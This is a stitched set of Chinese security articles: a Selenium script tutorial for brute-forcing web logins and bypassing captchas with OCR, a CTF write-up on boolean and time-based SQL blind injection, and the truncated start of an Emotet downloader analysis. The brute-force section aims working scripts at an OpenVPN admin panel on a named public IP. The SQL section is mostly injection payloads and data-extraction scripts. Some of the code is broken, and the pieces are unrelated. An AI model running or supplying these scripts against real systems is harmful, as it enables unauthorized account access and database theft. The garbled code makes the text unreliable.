元素的选择支持ID，NAME，CSS，XPATH等方式，如果在一个DOM中出现两个相同名元素，默认会选择第一个元素。
这里推荐使用Xpath的方式寻找路径。
`find_login_box = driver.find_element(by=By.XPATH, value='')`
### 账户输入框
通过查看页面，首先确定账户输入框的位置
### 获取Xpath
### 选择登录框元素
`find_login_box = driver.find_element(by=By.XPATH, value='//*[@id="main-container"]/div[2]/div/div[2]/div/div/form/label[1]/span/input')`
### 密码输入框
`find_pass_box = driver.find_element(by=By.XPATH, value='//*[@id="main-container"]/div[2]/div/div[2]/div/div/form/label[2]/span/input')`
## 输入内容
find_login_box.send_keys('admin')
find_pass_box.send_keys('password')
运行后会自动打开网址，然后寻找元素，输入内容
## 点击操作
### 元素选择
首先选定Login按钮元素
find_button = driver.find_element(by=By.XPATH, value='//*[@id="main-container"]/div[2]/div/div[2]/div/div/form/div[2]/label/input')
find_button.click()
运行python程序，会发现自动输入了账户密码，并点击了登录按钮。
### 完整代码
from time import sleep
from selenium import webdriver
from selenium.webdriver.common.by import By
def main():
driver = webdriver.Chrome(executable_path=r'C:\WebDriver\bin\chromedriver.exe') #指定crome驱动位置
driver.get('http://192.168.180.152/06/vul/burteforce/bf_form.php')
find_login_box = driver.find_element(by=By.XPATH,value='//*[@id="main-container"]/div[2]/div/div[2]/div/div/form/label[1]/span/input')
find_pass_box = driver.find_element(by=By.XPATH,value='//*[@id="main-container"]/div[2]/div/div[2]/div/div/form/label[2]/span/input')
find_login_box.send_keys('admin')
find_pass_box.send_keys('password')
find_button = driver.find_element(by=By.XPATH,value='//*[@id="main-container"]/div[2]/div/div[2]/div/div/form/div[2]/label/input')
find_button.click()
ActionChains(browser).key_down(Keys.CONTROL).send_keys("t").key_up(Keys.CONTROL).perform()
if __name__ == "__main__":
main()
## 循环读取
接下来要实现的是循环读取字典中的账户密码，这里主要通过在寻找元素处建立循环。设置一个密码字典，让程序每次自动从python字典中取值。
### 打开文件
首先建立一个名为pass.txt的文档，其中放上一些密码‘
使用python读取文档
read_passwords = open('pass.txt', 'r', encoding="utf-8")
read_passwords.seek(0)
### 建立循环
这里建立循环使其查找元素，输入密码字典中的密码，登录，不断循环
for password in read_passwords:
find_login_box = driver.find_element(by=By.XPATH, value='//*[@id="main-container"]/div[2]/div/div[2]/div/div/form/label[1]/span/input')
find_pass_box = driver.find_element(by=By.XPATH, value='//*[@id="main-container"]/div[2]/div/div[2]/div/div/form/label[2]/span/input')
find_button = driver.find_element(by=By.XPATH, value='//*[@id="main-container"]/div[2]/div/div[2]/div/div/form/div[2]/label/input')
password = password.strip()
find_login_box.send_keys('admin')
find_pass_box.send_keys(password)
sleep(1)
find_button.click()
### 返回包判断
接下来需要对点击登录后，页面的响应进行判断，从而确定是否登录成功。
对是否登录成功，可以通过一些特定的标志，状态码，返回包，进行判断
loginYN = driver.find_element(by=By.XPATH, value='//*[@id="main-container"]/div[2]/div/div[2]/div/div/p').text
if loginYN == "login success":
print("爆破成功，密码为:"+ password)
sleep(2)
运行后会自动进行输入，如果识别到特征会自动输出
### 完整代码
from time import sleep
from selenium import webdriver
from selenium.webdriver.common.by import By
def login():
driver = webdriver.Chrome(executable_path=r'C:\WebDriver\bin\chromedriver.exe')
driver.get("http://192.168.124.148/test/vul/burteforce/bf_form.php")
passwords = open('pass.txt','r',encoding="utf-8")
passwords.seek(0)
for password in passwords:
find_login_box = driver.find_element(by=By.XPATH, value='//*[@id="main-container"]/div[2]/div/div[2]/div/div/form/label[1]/span/input')
find_pass_box = driver.find_element(by=By.XPATH, value='//*[@id="main-container"]/div[2]/div/div[2]/div/div/form/label[2]/span/input')
find_button = driver.find_element(by=By.XPATH, value='//*[@id="main-container"]/div[2]/div/div[2]/div/div/form/div[2]/label/input')
password = password.strip()
find_login_box.send_keys('admin')
find_pass_box.send_keys(password)
sleep(1)
find_button.click()
loginYN = driver.find_element(by=By.XPATH, value='//*[@id="main-container"]/div[2]/div/div[2]/div/div/p').text
if loginYN == "login success":
print("爆破成功，密码为:"+ password)
sleep(2)
#ActionChains(browser).key_down(Keys.CONTROL).send_keys("t").key_up(Keys.CONTROL).perform()
login()
## 利用ddddorc识别验证码爆破
首先使用官方给的语句，来对验证码进行判断。
## 逻辑
要实现验证码识别，首先需要将验证码保存，之后利用ddddorc进行识别。
对于动态验证码的保存可以使用selenium中的screenshot方法，网上也存在着通过xpath获取元素并存储图片的方法。
### 存储图片
find_capcha = driver.find_element(by=By.XPATH,value='//*[@id="main-container"]/div[2]/div/div[2]/div/div/form/label[4]/img')
find_capcha.screenshot("showvcode.png")
### 调用ddddorc识别
ocr = ddddocr.DdddOcr()
with open("showvcode.png", 'rb') as f:
image = f.read()
res = ocr.classification(image)
print(res)
### 完整代码
from time import sleep
from selenium import webdriver
from selenium.webdriver.common.by import By
import ddddocr
def main():
driver = webdriver.Chrome(executable_path=r'C:\WebDriver\bin\chromedriver.exe') # 指定crome驱动位置
driver.get('http://192.168.180.152/06/vul/burteforce/bf_server.php')
read_passwords = open('pass.txt', 'r', encoding="utf-8")
read_passwords.seek(0)
for password in read_passwords:
find_login_box = driver.find_element(by=By.XPATH,
value='//*[@id="main-container"]/div[2]/div/div[2]/div/div/form/label[1]/span/input')
find_pass_box = driver.find_element(by=By.XPATH,
value='//*[@id="main-container"]/div[2]/div/div[2]/div/div/form/label[2]/span/input')
find_button = driver.find_element(by=By.XPATH,
value='//*[@id="main-container"]/div[2]/div/div[2]/div/div/form/div[2]/label/input')
find_capcha = driver.find_element(by=By.XPATH,
value='//*[@id="main-container"]/div[2]/div/div[2]/div/div/form/label[4]/img')
find_capcha_box = driver.find_element(by=By.XPATH,
value='//*[@id="main-container"]/div[2]/div/div[2]/div/div/form/label[3]/span/input')
find_capcha.screenshot("showvcode.png")
ocr = ddddocr.DdddOcr()
with open("showvcode.png", 'rb') as f:
image = f.read()
res = ocr.classification(image)
print(res)
password = password.strip()
find_login_box.send_keys('admin')
find_pass_box.send_keys(password)
sleep(1)
find_capcha_box.send_keys(res)
sleep(3)
find_button.click()
loginYN = driver.find_element(by=By.XPATH, value='//*[@id="main-container"]/div[2]/div/div[2]/div/div/p').text
if loginYN == "login success":
print("爆破成功，密码为:" + password)
sleep(2)
ActionChains(browser).key_down(Keys.CONTROL).send_keys("t").key_up(Keys.CONTROL).perform()
if __name__ == "__main__":
main()
### 演示
## 实战利用selenium爆破openvpn
### 判断是否登录成功
URL由<https://xxx/admin/> 变为 <https://xxx/admin/status_overview>
if driver.current_url == 'https://158.247.207.44/admin/status_overview':
print("登录成功密码为:".password)
### 完整代码
from time import sleep
from selenium import webdriver
from selenium.webdriver.common.by import By
def main():
options = webdriver.ChromeOptions()
options.add_argument('ignore-certificate-errors')
driver = webdriver.Chrome(executable_path=r'C:\WebDriver\bin\chromedriver.exe',
chrome_options=options) # 指定crome驱动位置
driver.get('https://158.247.207.44/admin/')
read_passwords = open('pass.txt', 'r', encoding="utf-8")
read_passwords.seek(0)
for password in read_passwords:
find_login_box = driver.find_element(by=By.XPATH, value='//*[@id="username"]')
find_pass_box = driver.find_element(by=By.XPATH, value='//*[@id="password"]')
find_button = driver.find_element(by=By.XPATH, value='//*[@id="submit-button"]')
password = password.strip()
find_login_box.send_keys('openvpn')
find_pass_box.send_keys(password)
sleep(1)
find_button.click()
if driver.current_url == 'https://158.247.207.44/admin/status_overview':
print("登录成功密码为:" + password)
ActionChains(browser).key_down(Keys.CONTROL).send_keys("t").key_up(Keys.CONTROL).perform()
if __name__ == "__main__":
main()
### 演示
## 参考
<https://selenium-python.readthedocs.io/>
<https://github.com/sml2h3/ddddocr>
<https://baike.baidu.com/item/Selenium/18266> | 社区文章 |
## 前言
最近做了些基于布尔盲注和基于时间盲注的CTF题，掌握了CTF题中SQL盲注的三种解法，收获很大，于是结合题目分享一下。
## BASE-Blind-Inject
### 题目信息
### 题干分析
第一次走进误区，刚看到这道题的时候
看到了登录框，第一印象应该就是简单的闭合注入，测试后发现是双引号闭合，所以构造payload注入
" or 1=1#
果然注入进去了。虽然没有出现flag，但给予了提示“flag就在数据库里面”，然后又想到题目标题，翻译成“简单盲注”
并且flag在数据库？有页面返回？所以应该想到这是SQL注入的一种注入方式叫做布尔盲注,并且是POST型。
### 知识了解
**布尔盲注**
1. 布尔盲注利用前提
页面没有显示位，没有输出SQL语句执行错误信息，只能通过页面返回正常不正常来判断是否存在注入。
2. 布尔盲注利用
3. 该语句判断数据库个数，当数据库个数大于n页面显示正常
(select count(schema_name) from information_schema.schemata)> n
4. 该语句判断数据库内第一个数据库名有多少字符，字符个数大于n页面显示正常
(select length(schema_name) from information_schema.schemata limit 0,1)> n
5. 该语句判断第一个库第一个字符是什么，ascii值大于n页面显示正常
(select ascii(substr((select schema_name from information_schema.schemata limit 0,1),1,1)))>n
**相关函数**
6. Length()函数 返回字符串的长度
7. substr()截取字符串，偏移是从1开始，而不是0开始
8. ascii()返回字符的ascii码
9. count(column_name)函数返回指定列的值的数目(NULL 不计入)
### 开始测试
1. 测闭合方式
输入' or 1=1#不回显
输入" or 1=1#正常
可判定是双引号闭合。
2. 测长度
判断数据库名的长度
输入" or (length(database())=10)--+正常
说明长度为8。
3. 测字符
用substr()截取字符串的每个字符，ascii()将字符串转换成其ASCII码
输入" or (ascii(substr(database(),1,1))>97)--+正常
### 盲注开始
#### 费心劳神-手工盲注
利用二分法进行手工盲注。手工盲注可以使用BurpSuite，构造payload在Repeater点击Go进行发包，这样会比较便捷。
1.猜库
用到获取当前数据库函数`database()`
* 猜库长
" or (length(database())=10)--+正常
所以数据库长度为10
* 猜库名
第一个字符
" or (ascii(substr(database(),1,1))>32)--+正常
" or (ascii(substr(database(),1,1))>128)--+不回显
" or (ascii(substr(database(),1,1))>80)--+正常
" or (ascii(substr(database(),1,1))>104)--+不回显
" or (ascii(substr(database(),1,1))>92)--+正常
" or (ascii(substr(database(),1,1))>98)--+正常
" or (ascii(substr(database(),1,1))>101)--+不回显
" or (ascii(substr(database(),1,1))>100)--+不回显
" or (ascii(substr(database(),1,1))>99)--+不回显
说明数据库名的第一个字符ASCII码为99，即“c”。
第二个字符
" or (ascii(substr(database(),2,1))>32)--+正常
" or (ascii(substr(database(),2,1))>128)--+不回显
" or (ascii(substr(database(),2,1))>80)--+正常
" or (ascii(substr(database(),2,1))>104)--+不回显
" or (ascii(substr(database(),2,1))>92)--+正常
" or (ascii(substr(database(),2,1))>98)--+正常
" or (ascii(substr(database(),2,1))>101)--+正常
" or (ascii(substr(database(),2,1))>102)--+正常
" or (ascii(substr(database(),2,1))>103)--+正常
说明数据库名的第二个字符ASCII码为104，即“h”。
依次猜解，最终得到数据库名：`challenges`
2.猜表
* 猜表长
" or (length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=6)--+正常
所以数据表长度为6
* 猜表名
第一个字符
" or (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>32)--+正常
" or (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>128)--+不回显
" or (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>80)--+正常
" or (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>104)--+正常
" or (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>116)--+正常
" or (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>122)--+不回显
" or (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>119)--+不回显
" or (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>119)--+不回显
" or (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>118)--+不回显
" or (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>117)--+不回显
说明数据表名的第一个字符ASCII码为117，即“u”。
依次猜解，最终得到数据表名：`user_2`
3.猜字段
* 猜字段长
" or (length((select column_name from information_schema.columns where table_name='user_2' and table_schema=database() limit 0,1))=2)--+正常
" or (length((select column_name from information_schema.columns where table_name='user_2' and table_schema=database() limit 1,1))=8)--+正常
" or (length((select column_name from information_schema.columns where table_name='user_2' and table_schema=database() limit 2,1))=8)--+正常
所以user_2表的数据字段长度分别为2、8、8
* 猜字段名
第一个字段
" or (ascii(substr((select column_name from information_schema.columns where table_name='user_2' and table_schema=database() limit 0,1),1,1))>32)--+正常
" or (ascii(substr((select column_name from information_schema.columns where table_name='user_2' and table_schema=database() limit 0,1),1,1))>128)--+不回显
" or (ascii(substr((select column_name from information_schema.columns where table_name='user_2' and table_schema=database() limit 0,1),1,1))>80)--+正常
" or (ascii(substr((select column_name from information_schema.columns where table_name='user_2' and table_schema=database() limit 0,1),1,1))>104)--+正常
" or (ascii(substr((select column_name from information_schema.columns where table_name='user_2' and table_schema=database() limit 0,1),1,1))>116)--+不回显
" or (ascii(substr((select column_name from information_schema.columns where table_name='user_2' and table_schema=database() limit 0,1),1,1))>110)--+不回显
" or (ascii(substr((select column_name from information_schema.columns where table_name='user_2' and table_schema=database() limit 0,1),1,1))>107)--+不回显
" or (ascii(substr((select column_name from information_schema.columns where table_name='user_2' and table_schema=database() limit 0,1),1,1))>106)--+不回显
" or (ascii(substr((select column_name from information_schema.columns where table_name='user_2' and table_schema=database() limit 0,1),1,1))>105)--+不回显
所以user_2表的第一个字段的字段名的第一个字符ASCII码为105，即“i”。
猜第二个字段把limit 0,1改为limit 1,1
猜第三个字段把limit 0,1改为limit 2,1
依次猜解,最终得到user_2表的3个字段名分别为：`id` `username` `password`
3.猜数据
* 猜数据长
" or (length((select password from challenges.user_2 limit 1,1))=32)--+正常
所以user_2表的password字段的第2条数据的数据长度为32，这个应该就是flag那条数据了
* 猜数据值
" or (ascii(substr((select password from challenges.user_2 limit 1,1),1,1))>32)--+正常
" or (ascii(substr((select password from challenges.user_2 limit 1,1),1,1))>128)--+不回显
" or (ascii(substr((select password from challenges.user_2 limit 1,1),1,1))>80)--+正常
" or (ascii(substr((select password from challenges.user_2 limit 1,1),1,1))>104)--+不回显
" or (ascii(substr((select password from challenges.user_2 limit 1,1),1,1))>92)--+正常
" or (ascii(substr((select password from challenges.user_2 limit 1,1),1,1))>98)--+正常
" or (ascii(substr((select password from challenges.user_2 limit 1,1),1,1))>101)--+正常
" or (ascii(substr((select password from challenges.user_2 limit 1,1),1,1))>102)--+不回显
说明user_2表的password字段的第2条数据(limit
1,1意思是从1开始取(即第二条数据)，取一条数据。)的数据值的第一个字符ASCII码为102，即“f”。
依次猜解,最终得到flag
#### 简便之法-BurpSuite半自动化盲注
一步一步的利用二分法进行手工盲注，是不是有点麻烦了呢？能不能让BurpSuite自己进行按顺序进行一个一个猜解呢？
于是用到了BurpSuite的一个功能模块Intruder，构造payload设置变量进行爆破，然后根据返回长度进行排序整理。
1、爆库
payload
" or (ascii(substr(database(),§1§,1))=§32§)--+
1. 先随便输入用户名和密码，然后BurpSuite抓包，发送到Intruder
2. 设置Positions
3. 设置两个变量的爆破类型
4. 开始爆破，根据返回长度确定爆破结果
5. 排序、转换字符
payload2那一列即是数据库名每个字符的ASCII码，按照payload1进行排序，再转换成字符，得到数据库名
2、爆表
payload
" or (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),§1§,1))=§32§)--+
1. 与爆库的不同之处就是payload和结果长度，改一下
2. 开始爆破，根据返回长度确定爆破结果
3. 排序、转换字符
3、爆字段
payload
" or (ascii(substr((select column_name from information_schema.columns where table_name='user_2' and table_schema=database() limit 2,1),§1§,1))=§32§)--+
1. 与爆库的不同之处就是payload和结果长度，改一下(结果长度改为8)
2. 开始爆破，根据返回长度确定爆破结果
3. 排序、转换字符
3、爆数据
payload
" or (ascii(substr((select password from challenges.user_2 limit 1,1),§1§,1))=§32§)--+
1. 与爆库的不同之处就是payload和结果长度，改一下(结果长度改为32)
2. 开始爆破，根据返回长度确定爆破结果
3. 排序、转换字符
**提高效率**
为了省去转换字符并减少爆破时间，可以选择不使用ascii()函数，第二个变量的爆破类型改成Simple list
如：爆库
payload
" or (substr(database(),§1§,1)='§a§')--+
爆破结果：
发现没有区分大小写，所以再通过每个字符的ascii码是否大于等于97判断每个字符是大写还是小写，小于97即大写。
这样就提高了一点效率。
#### 神来之笔-脚本盲注
使用BurpSuite半自动化盲注，看似可以。但是不是有一种方法，可以不用其他操作，轻松得到数据库的信息呢？于是想到使用脚本进行盲注来提高效率。布尔盲注脚本如下：
import requests
chars='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_,;{}&=+'
postdata={
'username':'" or 1=1#',
'password':'admin'
}
url="http://35.201.188.231:9000/challenge-02/post.php"
r=requests.post(url,data=postdata)
length=len(r.text)
def name(url,length):
dbname=''
print("数据库名：",dbname)
payload='" or ascii(substr(database(),{0},1))={1} #'
#print("数据表名：",dbname)
#payload='"or ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),{0},1))={1}#'
#print("字段名：",dbname)
#payload='"or ascii(substr((select column_name from information_schema.columns where table_name='user_2' and table_schema=database() limit 1,1),{0},1))={1}#'
#print("数据：",dbname)
#payload='" or ascii(substr((select password from user_2 limit 1,1),{0},1))={1}#'
for i in range(1,40):
char=''
for x in chars:
char_ascii=ord(x)
payloads=payload.format(i,char_ascii)
postdata={
'username':payloads,
'password':'admin'
}
r=requests.post(url,data=postdata)
if len(r.text) == length:
dbname+=x
print(dbname)
char=x
break
if char=='':
break
return dbname
name(url,length)
测试一下
如果传参方式是get传参，只需在url后添加`? 参数名=`，再将requests.post改成requests.get即可。
## BASE-TIME-BLIND-INJECT
### 题目信息
### 题干分析
第二次走进误区，刚看到这道题的时候
从题目标题看出是时间盲注。试了单引号闭合和和双引号闭合，结果并没有什么用，于是查看了一下源码，发现关键点了。竟然有源码可以下载！
查看下载的源码，发现是 `'"` 闭合，并且传参为POST传参。
### 知识了解
**时间盲注**
1. 时间盲注利用前提
页面上没有显示位，也没有输出SQL语句执行错误信息。
正确的SQL语句和错误的SQL语句返回页面都一样，但是加入sleep(5)条件之后，页面的返回速度明显慢了5秒。
2. 时间盲注利用
3. 该语句判断数据库个数，当数据库个数等于n页面返回延迟5秒
if((select count(schema_name) from information_schema.schemata)=n,sleep(5),1)
4. 该语句判断数据库内第一个数据库名有多少字符，字符个数等于n页面返回延迟5秒
if((select length(schema_name) from information_schema.schemata limit 0,1)=n,sleep(5),1)
5. 该语句判断第一个库第一个字符是什么，ascii值等于n页面返回延迟5秒
if((select ascii(substr((select schema_name from information_schema.schemata limit 0,1),1,1)))=n,sleep(5),1)
**相关函数**
6. Length（）函数 返回字符串的长度
7. substr（）截取字符串
8. ascii（）返回字符的ascii码
9. sleep(n)：将程序挂起一段时间 n为n秒
10. if(expr1,expr2,expr3):判断语句 如果第一个语句正确就执行第二个语句如果错误执行第三个语句
11. count(column_name)函数返回指定列的值的数目(NULL 不计入)
### 开始测试
1. 测试语句
输入'" or if(1=1,sleep(5),1)#延迟5秒
输入'" or if(1=2,sleep(5),1)#正常
2. 测长度
判断数据库名的长度
输入'" or if((length(database())=10),sleep(5),1)--+延迟5秒
说明长度为8。
3. 测字符
用substr()截取字符串的每个字符，ascii()将字符串转换成其ASCII码
输入'" or if((ascii(substr(database(),1,1))>97),sleep(5),1)--+延迟5秒
### 盲注开始
#### 费心劳神-手工盲注
同样利用二分法进行手工盲注，与布尔盲注不同之处是页面上没有回显，所以使用了if()函数和sleep()函数，根据返回时间判断。同样可以使用BurpSuite进行测试。
1.猜库
用到获取当前数据库函数`database()`
* 猜库长
'" or if((length(database())=10),sleep(5),1)--+延迟5秒
所以数据库长度为10
* 猜库名
第一个字符
'" or if((ascii(substr(database(),1,1))>32),sleep(5),1)--+延迟5秒
'" or if((ascii(substr(database(),1,1))>128),sleep(5),1)--+正常
'" or if((ascii(substr(database(),1,1))>80),sleep(5),1)--+延迟5秒
'" or if((ascii(substr(database(),1,1))>104),sleep(5),1)--+正常
'" or if((ascii(substr(database(),1,1))>92),sleep(5),1)--+延迟5秒
'" or if((ascii(substr(database(),1,1))>98),sleep(5),1)--+延迟5秒
'" or if((ascii(substr(database(),1,1))>101),sleep(5),1)--+正常
'" or if((ascii(substr(database(),1,1))>100),sleep(5),1)--+正常
'" or if((ascii(substr(database(),1,1))>99),sleep(5),1)--+正常
说明数据库名的第一个字符ASCII码为99，即“c”。
依次猜解，最终得到数据库名：`challenges`
2.猜表
* 猜表长
'" or if((length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=6),sleep(5),1)--+延迟5秒
所以数据表长度为6
* 猜表名
第一个字符
'" or if((ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>32),sleep(5),1)--+延迟5秒
'" or if((ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>128),sleep(5),1)--+正常
'" or if((ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>80),sleep(5),1)--+延迟5秒
'" or if((ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>104),sleep(5),1)--+延迟5秒
'" or if((ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>116),sleep(5),1)--+延迟5秒
'" or if((ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>122),sleep(5),1)--+正常
'" or if((ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>119),sleep(5),1)--+正常
'" or if((ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>119),sleep(5),1)--+正常
'" or if((ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>118),sleep(5),1)--+正常
'" or if((ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>117),sleep(5),1)--+正常
说明数据表名的第一个字符ASCII码为117，即“u”。
依次猜解，最终得到数据表名：`user_3`
3.猜字段
* 猜字段长
'" or if((length((select column_name from information_schema.columns where table_name='user_3' and table_schema=database() limit 0,1))=2),sleep(5),1)--+延迟5秒
'" or if((length((select column_name from information_schema.columns where table_name='user_3' and table_schema=database() limit 1,1))=8),sleep(5),1)--+延迟5秒
'" or if((length((select column_name from information_schema.columns where table_name='user_3' and table_schema=database() limit 2,1))=8),sleep(5),1)--+延迟5秒
所以user_3表的数据字段长度分别为2、8、8
* 猜字段名
第一个字段
'" or if((ascii(substr((select column_name from information_schema.columns where table_name='user_3' and table_schema=database() limit 0,1),1,1))>32),sleep(5),1)--+延迟5秒
'" or if((ascii(substr((select column_name from information_schema.columns where table_name='user_3' and table_schema=database() limit 0,1),1,1))>128),sleep(5),1)--+正常
'" or if((ascii(substr((select column_name from information_schema.columns where table_name='user_3' and table_schema=database() limit 0,1),1,1))>80),sleep(5),1)--+延迟5秒
'" or if((ascii(substr((select column_name from information_schema.columns where table_name='user_3' and table_schema=database() limit 0,1),1,1))>104),sleep(5),1)--+延迟5秒
'" or if((ascii(substr((select column_name from information_schema.columns where table_name='user_3' and table_schema=database() limit 0,1),1,1))>116),sleep(5),1)--+正常
'" or if((ascii(substr((select column_name from information_schema.columns where table_name='user_3' and table_schema=database() limit 0,1),1,1))>110),sleep(5),1)--+正常
'" or if((ascii(substr((select column_name from information_schema.columns where table_name='user_3' and table_schema=database() limit 0,1),1,1))>107),sleep(5),1)--+正常
'" or if((ascii(substr((select column_name from information_schema.columns where table_name='user_3' and table_schema=database() limit 0,1),1,1))>106),sleep(5),1)--+正常
'" or if((ascii(substr((select column_name from information_schema.columns where table_name='user_3' and table_schema=database() limit 0,1),1,1))>105),sleep(5),1)--+正常
所以user_3表的第一个字段的字段名的第一个字符ASCII码为105，即“i”。
依次猜解,最终得到user_3表的3个字段名分别为：`id` `username` `password`
3.猜数据
* 猜数据长
'" or if((length((select password from challenges.user_3 limit 1,1))=25),sleep(5),1)--+延迟5秒
所以user_3表的password字段的第2条数据的数据长度为25，这个应该就是flag那条数据了
* 猜数据值
'" or if((ascii(substr((select password from challenges.user_3 limit 1,1),1,1))>32),sleep(5),1)--+延迟5秒
'" or if((ascii(substr((select password from challenges.user_3 limit 1,1),1,1))>128),sleep(5),1)--+正常
'" or if((ascii(substr((select password from challenges.user_3 limit 1,1),1,1))>80),sleep(5),1)--+延迟5秒
'" or if((ascii(substr((select password from challenges.user_3 limit 1,1),1,1))>104),sleep(5),1)--+正常
'" or if((ascii(substr((select password from challenges.user_3 limit 1,1),1,1))>92),sleep(5),1)--+延迟5秒
'" or if((ascii(substr((select password from challenges.user_3 limit 1,1),1,1))>98),sleep(5),1)--+延迟5秒
'" or if((ascii(substr((select password from challenges.user_3 limit 1,1),1,1))>101),sleep(5),1)--+延迟5秒
'" or if((ascii(substr((select password from challenges.user_3 limit 1,1),1,1))>102),sleep(5),1)--+正常
说明user_3表的password字段的第2条数据(limit
1,1意思是从1开始取(即第二条数据)，取一条数据。)的数据值的第一个字符ASCII码为102，即“f”。
依次猜解,最终得到flag
#### 简便之法-BurpSuite半自动化盲注
和布尔盲注一样，时间盲注是不是也可以进行构造payload，并设置变量进行爆破呢？发现与布尔盲注不同之处就是使用了sleep()和if()。并且对爆破结果要根据返回时间进行整理排序。
1、爆库
payload
" or if((ascii(substr(database(),§1§,1))=§32§),sleep(5),1)--+
1. 先随便输入用户名和密码，然后BurpSuite抓包，发送到Intruder
2. 设置Positions
3. 设置两个变量的爆破类型
4. 开始爆破，根据返回时间确定爆破结果
凡是Timer>10000的payload2即为数据库名的每个字符的ASCII
5. 排序、转换字符
Timer>10000的payload2每个字符的ASCII码，按照payload1进行排序，再转换成字符，得到数据库名
2、爆表
payload
" or if((ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),§1§,1))=§32§),sleep(5),1)--+
与爆库的不同之处就是payload和结果长度(结果长度由10改为6)。然后开始爆破，根据返回时间确定爆破结果。
最后排序、转换字符。最后得到表名为：`user_3`
3、爆字段
payload
" or if((ascii(substr((select column_name from information_schema.columns where table_name='user_3' and table_schema=database() limit 2,1),§1§,1))=§32§),sleep(5),1)--+
上述payload爆第三个字段，与爆库的不同之处就是payload和结果长度，改一下(结果长度改为8)。
然后开始爆破，根据返回时间确定爆破结果。最后排序、转换字符，得到第三个字段为：`password`
3、爆数据
payload
" or if((ascii(substr((select password from challenges.user_3 limit 1,1),§1§,1))=§32§),sleep(5),1)--+
与爆库的不同之处就是payload和结果长度，改一下(结果长度改为25)。然后开始爆破，根据返回时间确定爆破结果。
最后排序、转换字符，得到最终flag。
**提高效率**
当然时间盲注也可以用布尔盲注的那种方法提高效率，即选择不使用ascii()函数。与布尔盲注不同之处是使用了sleep()函数和if(expr1,expr2,expr3)函数。
#### 神来之笔-脚本盲注
和布尔盲注一样，是不是也可以写一个时间盲注脚本来提高效率呢？于是想到用python里的time.time()函数，返回当前时间的时间戳。记录提交和返回过程的时间差，然后进行判断。时间盲注脚本如下：
import requests
import time
import string
import sys
chars='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_,;{}&=+'
url="http://35.201.188.231:9000/challenge-03/post.php"
dbname=''
payload="'\" or if((ascii(substr(database(),{0},1))={1}),sleep(5),1) #"
print("数据库名：",dbname)
#payload="'\"or if((ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),{0},1))={1}),sleep(5),1) #"
#print("数据表名：",dbname)
#payload="'\"or if((ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name="user_3" limit 1,1),{0},1))={1}),sleep(5),1) #"
#print("字段名：",dbname)
#payload="'\" or if((ascii(substr((select password from user_3 limit 1,1),{0},1))={1}),sleep(5),1) #"
#print("数据：",dbname)
for i in range(1,40):
char=''
for x in chars:
char_ascii=ord(x)
payloads=payload.format(i,char_ascii)
start=time.time()
postdata={
'username':payloads,
'password':'admin'
}
r=requests.post(url,data=postdata)
if (time.time() - start)>=5:
dbname+=x
print(dbname)
char=x
break
if char=='':
break
测试一下
同样如果传参方式是get传参，只需在url后添加`? 参数名=`，再将requests.post改成requests.get即可。
## SQL盲注的利用
在一些SQL注入中往往有用到SQL盲注的方法，进行猜解数据库信息。比如在order by排序注入中，利用基于时间盲注的方法。
select * from users order by id desc;
因为desc是可控的传参值。所以可进行注入
基于时间盲注
?order=if(1=1,1,sleep(5)) 正常响应时间
?order=if(1=2,1,sleep(5)) 延迟5秒
## SQL盲注漏洞的修复方案
SQL盲注的危害大家也都看到了，但是我们该如何防止这种情况的发生呢？
简单来讲，就是永远不要相信用户的输入。所以要对请求进行过滤，对参数进行验证，对非法字符进行拦截替换，清理用户输入的危险字符，保证sql能够在数据库中正确的编译和执行。这便是解决SQL盲注的简单思路。
当然，还有另一种方法，就是不使用SQL拼接语句。先在后台进行SQL查询，然后将查询结果与用户输入进行比对。
## 总结
从两道SQL盲注的CTF题中，明白SQL盲注的三种解法，以及SQL盲注的危害和利用。同时也想到一些修复方案。
总之收获很大。但本人文采有限，操作生疏。若有任何不当之处，还望各位师傅指出。 | 社区文章 |
# 深入剖析一个经修改后的Emotet银行木马下载器
|
##### 译文声明
本文是翻译文章
原文地址：<https://0ffset.wordpress.com/2018/06/13/post-0x10-another-emotet-downloader/>
译文仅供参考，具体内容表达以及含义原文为准。
你可能还记得我写过一篇文章，在文中我拆解了一个[Emotet
Downloader](https://0ffset.wordpress.com/2018/03/17/post-0x04-analysis-of-an-emotet-downloader/)，它使用宏和Powershell命令从受感染的网站下载Emotet。现在，他们已经修改了他们的下载器的工作方式，幸运的是它已经上传到[VirusBay](https://beta.virusbay.io/)。所以让我们分析一下它吧！
MD5散列：53ea2608f0e34e3e746801977b778305
正如你可以在下图中看到的（左边的旧的样本，右边的是新的样本），这两个文档中存在相似之处，它们都假装在使用旧版本的Microsoft
